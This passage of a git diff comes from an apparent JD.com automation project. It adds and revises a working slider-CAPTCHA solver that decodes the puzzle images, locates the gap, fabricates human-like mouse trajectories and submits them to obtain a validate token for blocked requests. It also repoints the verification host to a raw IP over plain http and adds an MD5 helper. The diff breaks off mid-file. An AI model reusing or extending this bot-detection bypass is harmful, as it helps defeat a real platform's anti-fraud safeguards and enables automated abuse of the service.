更新于 08-01 11:04

2026-05-12 18:14:04 +08:00 · 2021-08-01 11:04:55 -04:00
parent 344142a960
commit cfb981e2f2
47 changed files with 14007 additions and 7072 deletions
@@ -1,12 +1,17 @@
+/*
+  由于 canvas 依赖系统底层需要编译且预编译包在 github releases 上，改用另一个纯 js 解码图片。若想继续使用 canvas 可调用 runWithCanvas 。
+
+  添加 injectToRequest 用以快速修复需验证的请求。eg: $.get=injectToRequest($.get.bind($))
+*/
 const https = require('https');
 const http = require('http');
 const stream = require('stream');
 const zlib = require('zlib');
 const vm = require('vm');
 const PNG = require('png-js');
-let UA = require('./USER_AGENTS.js').USER_AGENT;
-const validatorCount = process.env.JDJR_validator_Count ? process.env.JDJR_validator_Count : 100
-
+const UA = require('./USER_AGENTS.js').USER_AGENT;
+const { promisify } = require('util');
+const pipelineAsync = promisify(stream.pipeline);

 Math.avg = function average() {
  var sum = 0;
@@ -29,10 +34,14 @@ class PNGDecoder extends PNG {

  decodeToPixels() {
    return new Promise((resolve) => {
-      this.decode((pixels) => {
-        this.pixels = pixels;
-        resolve();
-      });
+      try {
+        this.decode((pixels) => {
+          this.pixels = pixels;
+          resolve();
+        });
+      } catch (e) {
+        console.info(e)
+      }
    });
  }

@@ -66,10 +75,14 @@ class PuzzleRecognizer {
  }

  async run() {
-    await this.bg.decodeToPixels();
-    await this.patch.decodeToPixels();
+    try {
+      await this.bg.decodeToPixels();
+      await this.patch.decodeToPixels();

-    return this.recognize();
+      return this.recognize();
+    } catch (e) {
+      console.info(e)
+    }
  }

  recognize() {
@@ -203,74 +216,74 @@ const DATA = {
  "product": "embed",
  "lang": "zh_CN",
 };
-const SERVER = 'iv.jd.com';
+const SERVER = '61.49.99.122';

 class JDJRValidator {
  constructor() {
    this.data = {};
    this.x = 0;
    this.t = Date.now();
-    this.count = 0;
  }

-  async run(scene = 'cww', eid='') {
-    const tryRecognize = async () => {
-      const x = await this.recognize(scene, eid);
+  async run(scene) {
+    try {
+      const tryRecognize = async () => {
+        const x = await this.recognize(scene);

-      if (x > 0) {
-        return x;
-      }
-      // retry
-      return await tryRecognize();
-    };
-    const puzzleX = await tryRecognize();
-    // console.log(puzzleX);
-    const pos = new MousePosFaker(puzzleX).run();
-    const d = getCoordinate(pos);
-
-    // console.log(pos[pos.length-1][2] -Date.now());
-    // await sleep(4500);
-    await sleep(pos[pos.length - 1][2] - Date.now());
-    this.count++;
-    const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene);
-
-    if (result.message === 'success') {
-      // console.log(result);
-      console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000);
-      return result;
-    } else {
-      console.log(`验证失败: ${this.count}/${validatorCount}`);
-      // console.log(JSON.stringify(result));
-      if(this.count >= validatorCount){
-        console.log("JDJR验证次数已达上限，退出验证");
-        return result;
-      }else{
-        await sleep(300);
-        return await this.run(scene, eid);
-      }
-    }
-  }
-
-  async recognize(scene, eid) {
-    const data = await JDJRValidator.jsonp('/slide/g.html', {e: eid}, scene);
-    const {bg, patch, y} = data;
-    // const uri = 'data:image/png;base64,';
-    // const re = new PuzzleRecognizer(uri+bg, uri+patch, y);
-    const re = new PuzzleRecognizer(bg, patch, y);
-    // console.log(JSON.stringify(re))
-    const puzzleX = await re.run();
-
-    if (puzzleX > 0) {
-      this.data = {
-        c: data.challenge,
-        w: re.w,
-        e: eid,
-        s: '',
-        o: '',
+        if (x > 0) {
+          return x;
+        }
+        // retry
+        return await tryRecognize();
      };
-      this.x = puzzleX;
+      const puzzleX = await tryRecognize();
+      // console.log(puzzleX);
+      const pos = new MousePosFaker(puzzleX).run();
+      const d = getCoordinate(pos);
+
+      // console.log(pos[pos.length-1][2] -Date.now());
+      // await sleep(4500);
+      await sleep(pos[pos.length - 1][2] - Date.now());
+      const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene);
+
+      if (result.message === 'success') {
+        // console.log(result);
+        console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000);
+        return result;
+      } else {
+        console.count("验证失败");
+        // console.count(JSON.stringify(result));
+        await sleep(300);
+        return await this.run(scene);
+      }
+    } catch (e) {
+      console.info(e)
+    }
+  }
+
+  async recognize(scene) {
+    try {
+      const data = await JDJRValidator.jsonp('/slide/g.html', {e: ''}, scene);
+      const {bg, patch, y} = data;
+      // const uri = 'data:image/png;base64,';
+      // const re = new PuzzleRecognizer(uri+bg, uri+patch, y);
+      const re = new PuzzleRecognizer(bg, patch, y);
+      const puzzleX = await re.run();
+
+      if (puzzleX > 0) {
+        this.data = {
+          c: data.challenge,
+          w: re.w,
+          e: '',
+          s: '',
+          o: '',
+        };
+        this.x = puzzleX;
+      }
+      return puzzleX;
+    } catch (e) {
+      console.info(e)
    }
-    return puzzleX;
  }

  async report(n) {
@@ -287,7 +300,6 @@ class JDJRValidator {
    }

    console.log('验证成功: %f\%', (count / n) * 100);
-    console.clear()
    console.timeEnd('PuzzleRecognizer');
  }

@@ -295,28 +307,26 @@ class JDJRValidator {
    return new Promise((resolve, reject) => {
      const fnId = `jsonp_${String(Math.random()).replace('.', '')}`;
      const extraData = {callback: fnId};
-      const query = new URLSearchParams({...DATA,...{"scene": scene}, ...extraData, ...data}).toString();
-      const url = `https://${SERVER}${api}?${query}`;
+      const query = new URLSearchParams({...DATA, ...{"scene": scene}, ...extraData, ...data}).toString();
+      const url = `http://${SERVER}${api}?${query}`;
      const headers = {
        'Accept': '*/*',
        'Accept-Encoding': 'gzip,deflate,br',
-        'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
+        'Accept-Language': 'zh-CN,en-US',
        'Connection': 'keep-alive',
-        'Host': "iv.jd.com",
+        'Host': SERVER,
        'Proxy-Connection': 'keep-alive',
-        'Referer': 'https://h5.m.jd.com/',
+        'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html',
        'User-Agent': UA,
      };
-
-      const req = https.get(url, {headers}, (response) => {
+      const req = http.get(url, {headers}, (response) => {
        let res = response;
        if (res.headers['content-encoding'] === 'gzip') {
          const unzipStream = new stream.PassThrough();
-          stream.pipeline(
+          pipelineAsync(
            response,
            zlib.createGunzip(),
            unzipStream,
-            reject,
          );
          res = unzipStream;
        }
@@ -396,7 +406,7 @@ function getCoordinate(c) {
  return b.join("")
 }

-const HZ = 20;
+const HZ = 5;

 class MousePosFaker {
  constructor(puzzleX) {
@@ -501,32 +511,43 @@ class MousePosFaker {
  }
 }

-function injectToRequest(fn,scene = 'cww', ua = '') {
-  if(ua) UA = ua
+// new JDJRValidator().run();
+// new JDJRValidator().report(1000);
+// console.log(getCoordinate(new MousePosFaker(100).run()));
+
+function injectToRequest2(fn, scene = 'cww') {
  return (opts, cb) => {
    fn(opts, async (err, resp, data) => {
-      if (err) {
-        console.error(JSON.stringify(err));
-        return;
-      }
-      if (data.search('验证') > -1) {
-        console.log('JDJR验证中......');
-				let arr = opts.url.split("&")
-				let eid = ''
-				for(let i of arr){
-					if(i.indexOf("eid=")>-1){
-						eid = i.split("=") && i.split("=")[1] || ''
-					}
-				}
-        const res = await new JDJRValidator().run(scene, eid);
-
-        opts.url += `&validate=${res.validate}`;
-        fn(opts, cb);
-      } else {
-        cb(err, resp, data);
+      try {
+        if (err) {
+          console.error('验证请求失败.');
+          return;
+        }
+        if (data.search('验证') > -1) {
+          console.log('JDJR验证中......');
+          const res = await new JDJRValidator().run(scene);
+          if (res) {
+            opts.url += `&validate=${res.validate}`;
+          }
+          fn(opts, cb);
+        } else {
+          cb(err, resp, data);
+        }
+      } catch (e) {
+        console.info(e)
      }
    });
  };
 }

-exports.injectToRequest = injectToRequest;
+async function injectToRequest(scene = 'cww') {
+  console.log('JDJR验证中......');
+  const res = await new JDJRValidator().run(scene);
+  return `&validate=${res.validate}`
+}
+
+module.exports = {
+  sleep,
+  injectToRequest,
+  injectToRequest2
+}
@@ -0,0 +1,532 @@
+const https = require('https');
+const http = require('http');
+const stream = require('stream');
+const zlib = require('zlib');
+const vm = require('vm');
+const PNG = require('png-js');
+let UA = require('./USER_AGENTS.js').USER_AGENT;
+const validatorCount = process.env.JDJR_validator_Count ? process.env.JDJR_validator_Count : 100
+const { promisify } = require('util');
+const pipelineAsync = promisify(stream.pipeline);
+
+Math.avg = function average() {
+  var sum = 0;
+  var len = this.length;
+  for (var i = 0; i < len; i++) {
+    sum += this[i];
+  }
+  return sum / len;
+};
+
+function sleep(timeout) {
+  return new Promise((resolve) => setTimeout(resolve, timeout));
+}
+
+class PNGDecoder extends PNG {
+  constructor(args) {
+    super(args);
+    this.pixels = [];
+  }
+
+  decodeToPixels() {
+    return new Promise((resolve) => {
+      this.decode((pixels) => {
+        this.pixels = pixels;
+        resolve();
+      });
+    });
+  }
+
+  getImageData(x, y, w, h) {
+    const {pixels} = this;
+    const len = w * h * 4;
+    const startIndex = x * 4 + y * (w * 4);
+
+    return {data: pixels.slice(startIndex, startIndex + len)};
+  }
+}
+
+const PUZZLE_GAP = 8;
+const PUZZLE_PAD = 10;
+
+class PuzzleRecognizer {
+  constructor(bg, patch, y) {
+    // console.log(bg);
+    const imgBg = new PNGDecoder(Buffer.from(bg, 'base64'));
+    const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64'));
+
+    // console.log(imgBg);
+
+    this.bg = imgBg;
+    this.patch = imgPatch;
+    this.rawBg = bg;
+    this.rawPatch = patch;
+    this.y = y;
+    this.w = imgBg.width;
+    this.h = imgBg.height;
+  }
+
+  async run() {
+    await this.bg.decodeToPixels();
+    await this.patch.decodeToPixels();
+
+    return this.recognize();
+  }
+
+  recognize() {
+    const {ctx, w: width, bg} = this;
+    const {width: patchWidth, height: patchHeight} = this.patch;
+    const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2);
+    // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data;
+    const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data;
+    const lumas = [];
+
+    for (let x = 0; x < width; x++) {
+      var sum = 0;
+
+      // y xais
+      for (let y = 0; y < PUZZLE_GAP; y++) {
+        var idx = x * 4 + y * (width * 4);
+        var r = cData[idx];
+        var g = cData[idx + 1];
+        var b = cData[idx + 2];
+        var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b;
+
+        sum += luma;
+      }
+
+      lumas.push(sum / PUZZLE_GAP);
+    }
+
+    const n = 2; // minium macroscopic image width (px)
+    const margin = patchWidth - PUZZLE_PAD;
+    const diff = 20; // macroscopic brightness difference
+    const radius = PUZZLE_PAD;
+    for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) {
+      const left = (lumas[i] + lumas[i + 1]) / n;
+      const right = (lumas[i + 2] + lumas[i + 3]) / n;
+      const mi = margin + i;
+      const mLeft = (lumas[mi] + lumas[mi + 1]) / n;
+      const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n;
+
+      if (left - right > diff && mLeft - mRigth < -diff) {
+        const pieces = lumas.slice(i + 2, margin + i + 2);
+        const median = pieces.sort((x1, x2) => x1 - x2)[20];
+        const avg = Math.avg(pieces);
+
+        // noise reducation
+        if (median > left || median > mRigth) return;
+        if (avg > 100) return;
+        // console.table({left,right,mLeft,mRigth,median});
+        // ctx.fillRect(i+n-radius, 0, 1, 360);
+        // console.log(i+n-radius);
+        return i + n - radius;
+      }
+    }
+
+    // not found
+    return -1;
+  }
+
+  runWithCanvas() {
+    const {createCanvas, Image} = require('canvas');
+    const canvas = createCanvas();
+    const ctx = canvas.getContext('2d');
+    const imgBg = new Image();
+    const imgPatch = new Image();
+    const prefix = 'data:image/png;base64,';
+
+    imgBg.src = prefix + this.rawBg;
+    imgPatch.src = prefix + this.rawPatch;
+    const {naturalWidth: w, naturalHeight: h} = imgBg;
+    canvas.width = w;
+    canvas.height = h;
+    ctx.clearRect(0, 0, w, h);
+    ctx.drawImage(imgBg, 0, 0, w, h);
+
+    const width = w;
+    const {naturalWidth, naturalHeight} = imgPatch;
+    const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2);
+    // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data;
+    const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data;
+    const lumas = [];
+
+    for (let x = 0; x < width; x++) {
+      var sum = 0;
+
+      // y xais
+      for (let y = 0; y < PUZZLE_GAP; y++) {
+        var idx = x * 4 + y * (width * 4);
+        var r = cData[idx];
+        var g = cData[idx + 1];
+        var b = cData[idx + 2];
+        var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b;
+
+        sum += luma;
+      }
+
+      lumas.push(sum / PUZZLE_GAP);
+    }
+
+    const n = 2; // minium macroscopic image width (px)
+    const margin = naturalWidth - PUZZLE_PAD;
+    const diff = 20; // macroscopic brightness difference
+    const radius = PUZZLE_PAD;
+    for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) {
+      const left = (lumas[i] + lumas[i + 1]) / n;
+      const right = (lumas[i + 2] + lumas[i + 3]) / n;
+      const mi = margin + i;
+      const mLeft = (lumas[mi] + lumas[mi + 1]) / n;
+      const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n;
+
+      if (left - right > diff && mLeft - mRigth < -diff) {
+        const pieces = lumas.slice(i + 2, margin + i + 2);
+        const median = pieces.sort((x1, x2) => x1 - x2)[20];
+        const avg = Math.avg(pieces);
+
+        // noise reducation
+        if (median > left || median > mRigth) return;
+        if (avg > 100) return;
+        // console.table({left,right,mLeft,mRigth,median});
+        // ctx.fillRect(i+n-radius, 0, 1, 360);
+        // console.log(i+n-radius);
+        return i + n - radius;
+      }
+    }
+
+    // not found
+    return -1;
+  }
+}
+
+const DATA = {
+  "appId": "17839d5db83",
+  "product": "embed",
+  "lang": "zh_CN",
+};
+const SERVER = 'iv.jd.com';
+
+class JDJRValidator {
+  constructor() {
+    this.data = {};
+    this.x = 0;
+    this.t = Date.now();
+    this.count = 0;
+  }
+
+  async run(scene = 'cww', eid='') {
+    const tryRecognize = async () => {
+      const x = await this.recognize(scene, eid);
+
+      if (x > 0) {
+        return x;
+      }
+      // retry
+      return await tryRecognize();
+    };
+    const puzzleX = await tryRecognize();
+    // console.log(puzzleX);
+    const pos = new MousePosFaker(puzzleX).run();
+    const d = getCoordinate(pos);
+
+    // console.log(pos[pos.length-1][2] -Date.now());
+    // await sleep(4500);
+    await sleep(pos[pos.length - 1][2] - Date.now());
+    this.count++;
+    const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene);
+
+    if (result.message === 'success') {
+      // console.log(result);
+      console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000);
+      return result;
+    } else {
+      console.log(`验证失败: ${this.count}/${validatorCount}`);
+      // console.log(JSON.stringify(result));
+      if(this.count >= validatorCount){
+        console.log("JDJR验证次数已达上限，退出验证");
+        return result;
+      }else{
+        await sleep(300);
+        return await this.run(scene, eid);
+      }
+    }
+  }
+
+  async recognize(scene, eid) {
+    const data = await JDJRValidator.jsonp('/slide/g.html', {e: eid}, scene);
+    const {bg, patch, y} = data;
+    // const uri = 'data:image/png;base64,';
+    // const re = new PuzzleRecognizer(uri+bg, uri+patch, y);
+    const re = new PuzzleRecognizer(bg, patch, y);
+    // console.log(JSON.stringify(re))
+    const puzzleX = await re.run();
+
+    if (puzzleX > 0) {
+      this.data = {
+        c: data.challenge,
+        w: re.w,
+        e: eid,
+        s: '',
+        o: '',
+      };
+      this.x = puzzleX;
+    }
+    return puzzleX;
+  }
+
+  async report(n) {
+    console.time('PuzzleRecognizer');
+    let count = 0;
+
+    for (let i = 0; i < n; i++) {
+      const x = await this.recognize();
+
+      if (x > 0) count++;
+      if (i % 50 === 0) {
+        // console.log('%f\%', (i / n) * 100);
+      }
+    }
+
+    console.log('验证成功: %f\%', (count / n) * 100);
+    console.clear()
+    console.timeEnd('PuzzleRecognizer');
+  }
+
+  static jsonp(api, data = {}, scene) {
+    return new Promise((resolve, reject) => {
+      const fnId = `jsonp_${String(Math.random()).replace('.', '')}`;
+      const extraData = {callback: fnId};
+      const query = new URLSearchParams({...DATA,...{"scene": scene}, ...extraData, ...data}).toString();
+      const url = `https://${SERVER}${api}?${query}`;
+      const headers = {
+        'Accept': '*/*',
+        'Accept-Encoding': 'gzip,deflate,br',
+        'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
+        'Connection': 'keep-alive',
+        'Host': "iv.jd.com",
+        'Proxy-Connection': 'keep-alive',
+        'Referer': 'https://h5.m.jd.com/',
+        'User-Agent': UA,
+      };
+
+      const req = https.get(url, {headers}, (response) => {
+        let res = response;
+        if (res.headers['content-encoding'] === 'gzip') {
+          const unzipStream = new stream.PassThrough();
+          pipelineAsync(
+            response,
+            zlib.createGunzip(),
+            unzipStream,
+          );
+          res = unzipStream;
+        }
+        res.setEncoding('utf8');
+
+        let rawData = '';
+
+        res.on('data', (chunk) => rawData += chunk);
+        res.on('end', () => {
+          try {
+            const ctx = {
+              [fnId]: (data) => ctx.data = data,
+              data: {},
+            };
+
+            vm.createContext(ctx);
+            vm.runInContext(rawData, ctx);
+
+            // console.log(ctx.data);
+            res.resume();
+            resolve(ctx.data);
+          } catch (e) {
+            reject(e);
+          }
+        });
+      });
+
+      req.on('error', reject);
+      req.end();
+    });
+  }
+}
+
+function getCoordinate(c) {
+  function string10to64(d) {
+    var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("")
+      , b = c.length
+      , e = +d
+      , a = [];
+    do {
+      mod = e % b;
+      e = (e - mod) / b;
+      a.unshift(c[mod])
+    } while (e);
+    return a.join("")
+  }
+
+  function prefixInteger(a, b) {
+    return (Array(b).join(0) + a).slice(-b)
+  }
+
+  function pretreatment(d, c, b) {
+    var e = string10to64(Math.abs(d));
+    var a = "";
+    if (!b) {
+      a += (d > 0 ? "1" : "0")
+    }
+    a += prefixInteger(e, c);
+    return a
+  }
+
+  var b = new Array();
+  for (var e = 0; e < c.length; e++) {
+    if (e == 0) {
+      b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true));
+      b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true));
+      b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true))
+    } else {
+      var a = c[e][0] - c[e - 1][0];
+      var f = c[e][1] - c[e - 1][1];
+      var d = c[e][2] - c[e - 1][2];
+      b.push(pretreatment(a < 4095 ? a : 4095, 2, false));
+      b.push(pretreatment(f < 4095 ? f : 4095, 2, false));
+      b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true))
+    }
+  }
+  return b.join("")
+}
+
+const HZ = 20;
+
+class MousePosFaker {
+  constructor(puzzleX) {
+    this.x = parseInt(Math.random() * 20 + 20, 10);
+    this.y = parseInt(Math.random() * 80 + 80, 10);
+    this.t = Date.now();
+    this.pos = [[this.x, this.y, this.t]];
+    this.minDuration = parseInt(1000 / HZ, 10);
+    // this.puzzleX = puzzleX;
+    this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10);
+
+    this.STEP = parseInt(Math.random() * 6 + 5, 10);
+    this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100;
+    // [9,1600] [10,1400]
+    this.STEP = 9;
+    // this.DURATION = 2000;
+    // console.log(this.STEP, this.DURATION);
+  }
+
+  run() {
+    const perX = this.puzzleX / this.STEP;
+    const perDuration = this.DURATION / this.STEP;
+    const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t];
+
+    this.pos.unshift(firstPos);
+    this.stepPos(perX, perDuration);
+    this.fixPos();
+
+    const reactTime = parseInt(60 + Math.random() * 100, 10);
+    const lastIdx = this.pos.length - 1;
+    const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime];
+
+    this.pos.push(lastPos);
+    return this.pos;
+  }
+
+  stepPos(x, duration) {
+    let n = 0;
+    const sqrt2 = Math.sqrt(2);
+    for (let i = 1; i <= this.STEP; i++) {
+      n += 1 / i;
+    }
+    for (let i = 0; i < this.STEP; i++) {
+      x = this.puzzleX / (n * (i + 1));
+      const currX = parseInt((Math.random() * 30 - 15) + x, 10);
+      const currY = parseInt(Math.random() * 7 - 3, 10);
+      const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10);
+
+      this.moveToAndCollect({
+        x: currX,
+        y: currY,
+        duration: currDuration,
+      });
+    }
+  }
+
+  fixPos() {
+    const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0];
+    const deviation = this.puzzleX - actualX;
+
+    if (Math.abs(deviation) > 4) {
+      this.moveToAndCollect({
+        x: deviation,
+        y: parseInt(Math.random() * 8 - 3, 10),
+        duration: 250,
+      });
+    }
+  }
+
+  moveToAndCollect({x, y, duration}) {
+    let movedX = 0;
+    let movedY = 0;
+    let movedT = 0;
+    const times = duration / this.minDuration;
+    let perX = x / times;
+    let perY = y / times;
+    let padDuration = 0;
+
+    if (Math.abs(perX) < 1) {
+      padDuration = duration / Math.abs(x) - this.minDuration;
+      perX = 1;
+      perY = y / Math.abs(x);
+    }
+
+    while (Math.abs(movedX) < Math.abs(x)) {
+      const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10);
+
+      movedX += perX + Math.random() * 2 - 1;
+      movedY += perY;
+      movedT += this.minDuration + rDuration;
+
+      const currX = parseInt(this.x + movedX, 10);
+      const currY = parseInt(this.y + movedY, 10);
+      const currT = this.t + movedT;
+
+      this.pos.push([currX, currY, currT]);
+    }
+
+    this.x += x;
+    this.y += y;
+    this.t += Math.max(duration, movedT);
+  }
+}
+
+function injectToRequest(fn,scene = 'cww', ua = '') {
+  if(ua) UA = ua
+  return (opts, cb) => {
+    fn(opts, async (err, resp, data) => {
+      if (err) {
+        console.error(JSON.stringify(err));
+        return;
+      }
+      if (data.search('验证') > -1) {
+        console.log('JDJR验证中......');
+				let arr = opts.url.split("&")
+				let eid = ''
+				for(let i of arr){
+					if(i.indexOf("eid=")>-1){
+						eid = i.split("=") && i.split("=")[1] || ''
+					}
+				}
+        const res = await new JDJRValidator().run(scene, eid);
+
+        opts.url += `&validate=${res.validate}`;
+        fn(opts, cb);
+      } else {
+        cb(err, resp, data);
+      }
+    });
+  };
+}
+
+exports.injectToRequest = injectToRequest;
@@ -1,5 +1,217 @@
-let joyytoken; // = "MDFLbmZBbzAxMQ==.elhUd1Z8XlN5XXtbUz9ceyIicQZyPFQ0EXpCUG1aZ1wYcxF6EAB1IHw6BXMFCSUhCV4tGiMgJBE7ExIudlMY.6d560ccc";
-let joyytoken_count = 1;
+function safeAdd(x, y) {
+    var lsw = (x & 0xffff) + (y & 0xffff)
+    var msw = (x >> 16) + (y >> 16) + (lsw >> 16)
+    return (msw << 16) | (lsw & 0xffff)
+}
+
+/*
+ * Bitwise rotate a 32-bit number to the left.
+ */
+function bitRotateLeft(num, cnt) {
+    return (num << cnt) | (num >>> (32 - cnt))
+}
+
+function md5(string, key, raw) {
+    if (!key) {
+        if (!raw) {
+            return hexMD5(string)
+        }
+        return rawMD5(string)
+    }
+    if (!raw) {
+        return hexHMACMD5(key, string)
+    }
+    return rawHMACMD5(key, string)
+}
+
+/*
+ * Convert a raw string to a hex string
+ */
+function rstr2hex(input) {
+    var hexTab = '0123456789abcdef'
+    var output = ''
+    var x
+    var i
+    for (i = 0; i < input.length; i += 1) {
+        x = input.charCodeAt(i)
+        output += hexTab.charAt((x >>> 4) & 0x0f) + hexTab.charAt(x & 0x0f)
+    }
+    return output
+}
+/*
+ * Encode a string as utf-8
+ */
+function str2rstrUTF8(input) {
+    return unescape(encodeURIComponent(input))
+}
+/*
+ * Calculate the MD5 of a raw string
+ */
+function rstrMD5(s) {
+    return binl2rstr(binlMD5(rstr2binl(s), s.length * 8))
+}
+
+function hexMD5(s) {
+    return rstr2hex(rawMD5(s))
+}
+function rawMD5(s) {
+    return rstrMD5(str2rstrUTF8(s))
+}
+
+/*
+ * These functions implement the four basic operations the algorithm uses.
+ */
+function md5cmn(q, a, b, x, s, t) {
+    return safeAdd(bitRotateLeft(safeAdd(safeAdd(a, q), safeAdd(x, t)), s), b)
+}
+
+function md5ff(a, b, c, d, x, s, t) {
+    return md5cmn((b & c) | (~b & d), a, b, x, s, t)
+}
+
+function md5gg(a, b, c, d, x, s, t) {
+    return md5cmn((b & d) | (c & ~d), a, b, x, s, t)
+}
+
+function md5hh(a, b, c, d, x, s, t) {
+    return md5cmn(b ^ c ^ d, a, b, x, s, t)
+}
+
+function md5ii(a, b, c, d, x, s, t) {
+    return md5cmn(c ^ (b | ~d), a, b, x, s, t)
+}
+
+/*
+ * Calculate the MD5 of an array of little-endian words, and a bit length.
+ */
+function binlMD5(x, len) {
+    /* append padding */
+    x[len >> 5] |= 0x80 << (len % 32)
+    x[((len + 64) >>> 9 << 4) + 14] = len
+
+    var i
+    var olda
+    var oldb
+    var oldc
+    var oldd
+    var a = 1732584193
+    var b = -271733879
+    var c = -1732584194
+    var d = 271733878
+
+    for (i = 0; i < x.length; i += 16) {
+        olda = a
+        oldb = b
+        oldc = c
+        oldd = d
+
+        a = md5ff(a, b, c, d, x[i], 7, -680876936)
+        d = md5ff(d, a, b, c, x[i + 1], 12, -389564586)
+        c = md5ff(c, d, a, b, x[i + 2], 17, 606105819)
+        b = md5ff(b, c, d, a, x[i + 3], 22, -1044525330)
+        a = md5ff(a, b, c, d, x[i + 4], 7, -176418897)
+        d = md5ff(d, a, b, c, x[i + 5], 12, 1200080426)
+        c = md5ff(c, d, a, b, x[i + 6], 17, -1473231341)
+        b = md5ff(b, c, d, a, x[i + 7], 22, -45705983)
+        a = md5ff(a, b, c, d, x[i + 8], 7, 1770035416)
+        d = md5ff(d, a, b, c, x[i + 9], 12, -1958414417)
+        c = md5ff(c, d, a, b, x[i + 10], 17, -42063)
+        b = md5ff(b, c, d, a, x[i + 11], 22, -1990404162)
+        a = md5ff(a, b, c, d, x[i + 12], 7, 1804603682)
+        d = md5ff(d, a, b, c, x[i + 13], 12, -40341101)
+        c = md5ff(c, d, a, b, x[i + 14], 17, -1502002290)
+        b = md5ff(b, c, d, a, x[i + 15], 22, 1236535329)
+
+        a = md5gg(a, b, c, d, x[i + 1], 5, -165796510)
+        d = md5gg(d, a, b, c, x[i + 6], 9, -1069501632)
+        c = md5gg(c, d, a, b, x[i + 11], 14, 643717713)
+        b = md5gg(b, c, d, a, x[i], 20, -373897302)
+        a = md5gg(a, b, c, d, x[i + 5], 5, -701558691)
+        d = md5gg(d, a, b, c, x[i + 10], 9, 38016083)
+        c = md5gg(c, d, a, b, x[i + 15], 14, -660478335)
+        b = md5gg(b, c, d, a, x[i + 4], 20, -405537848)
+        a = md5gg(a, b, c, d, x[i + 9], 5, 568446438)
+        d = md5gg(d, a, b, c, x[i + 14], 9, -1019803690)
+        c = md5gg(c, d, a, b, x[i + 3], 14, -187363961)
+        b = md5gg(b, c, d, a, x[i + 8], 20, 1163531501)
+        a = md5gg(a, b, c, d, x[i + 13], 5, -1444681467)
+        d = md5gg(d, a, b, c, x[i + 2], 9, -51403784)
+        c = md5gg(c, d, a, b, x[i + 7], 14, 1735328473)
+        b = md5gg(b, c, d, a, x[i + 12], 20, -1926607734)
+
+        a = md5hh(a, b, c, d, x[i + 5], 4, -378558)
+        d = md5hh(d, a, b, c, x[i + 8], 11, -2022574463)
+        c = md5hh(c, d, a, b, x[i + 11], 16, 1839030562)
+        b = md5hh(b, c, d, a, x[i + 14], 23, -35309556)
+        a = md5hh(a, b, c, d, x[i + 1], 4, -1530992060)
+        d = md5hh(d, a, b, c, x[i + 4], 11, 1272893353)
+        c = md5hh(c, d, a, b, x[i + 7], 16, -155497632)
+        b = md5hh(b, c, d, a, x[i + 10], 23, -1094730640)
+        a = md5hh(a, b, c, d, x[i + 13], 4, 681279174)
+        d = md5hh(d, a, b, c, x[i], 11, -358537222)
+        c = md5hh(c, d, a, b, x[i + 3], 16, -722521979)
+        b = md5hh(b, c, d, a, x[i + 6], 23, 76029189)
+        a = md5hh(a, b, c, d, x[i + 9], 4, -640364487)
+        d = md5hh(d, a, b, c, x[i + 12], 11, -421815835)
+        c = md5hh(c, d, a, b, x[i + 15], 16, 530742520)
+        b = md5hh(b, c, d, a, x[i + 2], 23, -995338651)
+
+        a = md5ii(a, b, c, d, x[i], 6, -198630844)
+        d = md5ii(d, a, b, c, x[i + 7], 10, 1126891415)
+        c = md5ii(c, d, a, b, x[i + 14], 15, -1416354905)
+        b = md5ii(b, c, d, a, x[i + 5], 21, -57434055)
+        a = md5ii(a, b, c, d, x[i + 12], 6, 1700485571)
+        d = md5ii(d, a, b, c, x[i + 3], 10, -1894986606)
+        c = md5ii(c, d, a, b, x[i + 10], 15, -1051523)
+        b = md5ii(b, c, d, a, x[i + 1], 21, -2054922799)
+        a = md5ii(a, b, c, d, x[i + 8], 6, 1873313359)
+        d = md5ii(d, a, b, c, x[i + 15], 10, -30611744)
+        c = md5ii(c, d, a, b, x[i + 6], 15, -1560198380)
+        b = md5ii(b, c, d, a, x[i + 13], 21, 1309151649)
+        a = md5ii(a, b, c, d, x[i + 4], 6, -145523070)
+        d = md5ii(d, a, b, c, x[i + 11], 10, -1120210379)
+        c = md5ii(c, d, a, b, x[i + 2], 15, 718787259)
+        b = md5ii(b, c, d, a, x[i + 9], 21, -343485551)
+
+        a = safeAdd(a, olda)
+        b = safeAdd(b, oldb)
+        c = safeAdd(c, oldc)
+        d = safeAdd(d, oldd)
+    }
+    return [a, b, c, d]
+}
+/*
+ * Convert an array of little-endian words to a string
+ */
